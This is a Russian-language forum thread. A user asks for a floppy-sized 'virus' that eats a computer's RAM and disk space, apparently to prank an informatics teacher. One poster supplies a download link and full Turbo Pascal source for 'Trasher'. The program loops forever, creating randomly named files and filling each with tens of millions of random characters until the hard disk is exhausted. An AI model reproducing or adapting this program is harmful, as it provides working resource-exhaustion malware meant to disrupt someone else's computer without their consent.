Кушаем ресурсы

[Diablo]

Есть ли вирус чтоб ресурсы компа пожирал.
Ну или место на харде либо оперативу.
И чтоб на дискете умещался.
Слышал что-то про архивы "с сюрпризом" но не нашел.
Заранее благодарен

P.s.: Просто очень радостный у нас учитель информатики :d

[W!z@rD]

=) сделаю на паскале...
потом пришлю...
с исходниками =)

для того чтобы сжирать ресурсы:
оперативка
запустить бесконечный цикл обрабатывающий что-то весомое.

место на харде
создать файл и заполнять его мусором

[Ch3ck]

создать файл и заполнять его мусором
А можно и не один... ;)
разберусь с курсовой работой, и ночью чё-нить придумаю.

[Diablo]

=) сделаю на паскале...
потом пришлю...
с исходниками =)

для того чтобы сжирать ресурсы:
оперативка
запустить бесконечный цикл обрабатывающий что-то весомое.

место на харде
создать файл и заполнять его мусором
Чет я не догоняю, как его мусором заполнять ? Типо чтобы он сам в себя че-нить писал ?

[kyzmi4]

не например создать файл и чтобы в него писали одни 00000000000000

[Diablo]

Я не бум-бум в программировании.
Помогите за +2 к репе ;)

[W!z@rD]

Я не бум-бум в программировании.
Помогите за +2 к репе ;)
смотри =) я те уже сделал...
седня домой приду отправлю...

[Diablo]

Буду ждать.

[W!z@rD]

вот ссылка (сорец+бинарники собранные на Turbo Pascal & Virtual Pascal)
http://slil.ru/23571819

а вот и сорец

program Trasher;

var
f:text;
temp:string;
i:LongInt;
abc:string;

begin
abc:='1234567890_qwertyuiopasdfghjklzxcvbnm.';
randomize;
while true do begin
temp:='';
for i:=1 to 7 do temp:=concat(temp,abc[random(length(abc)-1)]);
temp:=temp+'.';
for i:=1 to 3 do temp:=concat(temp,abc[random(length(abc)-1)]);
assign(f,temp);
rewrite(f);
for i:=1 to {21}47483647 do write(f,abc[random(length(abc))]);
writeln(temp);
close(f);
end;

end.


что еще потребуется скажи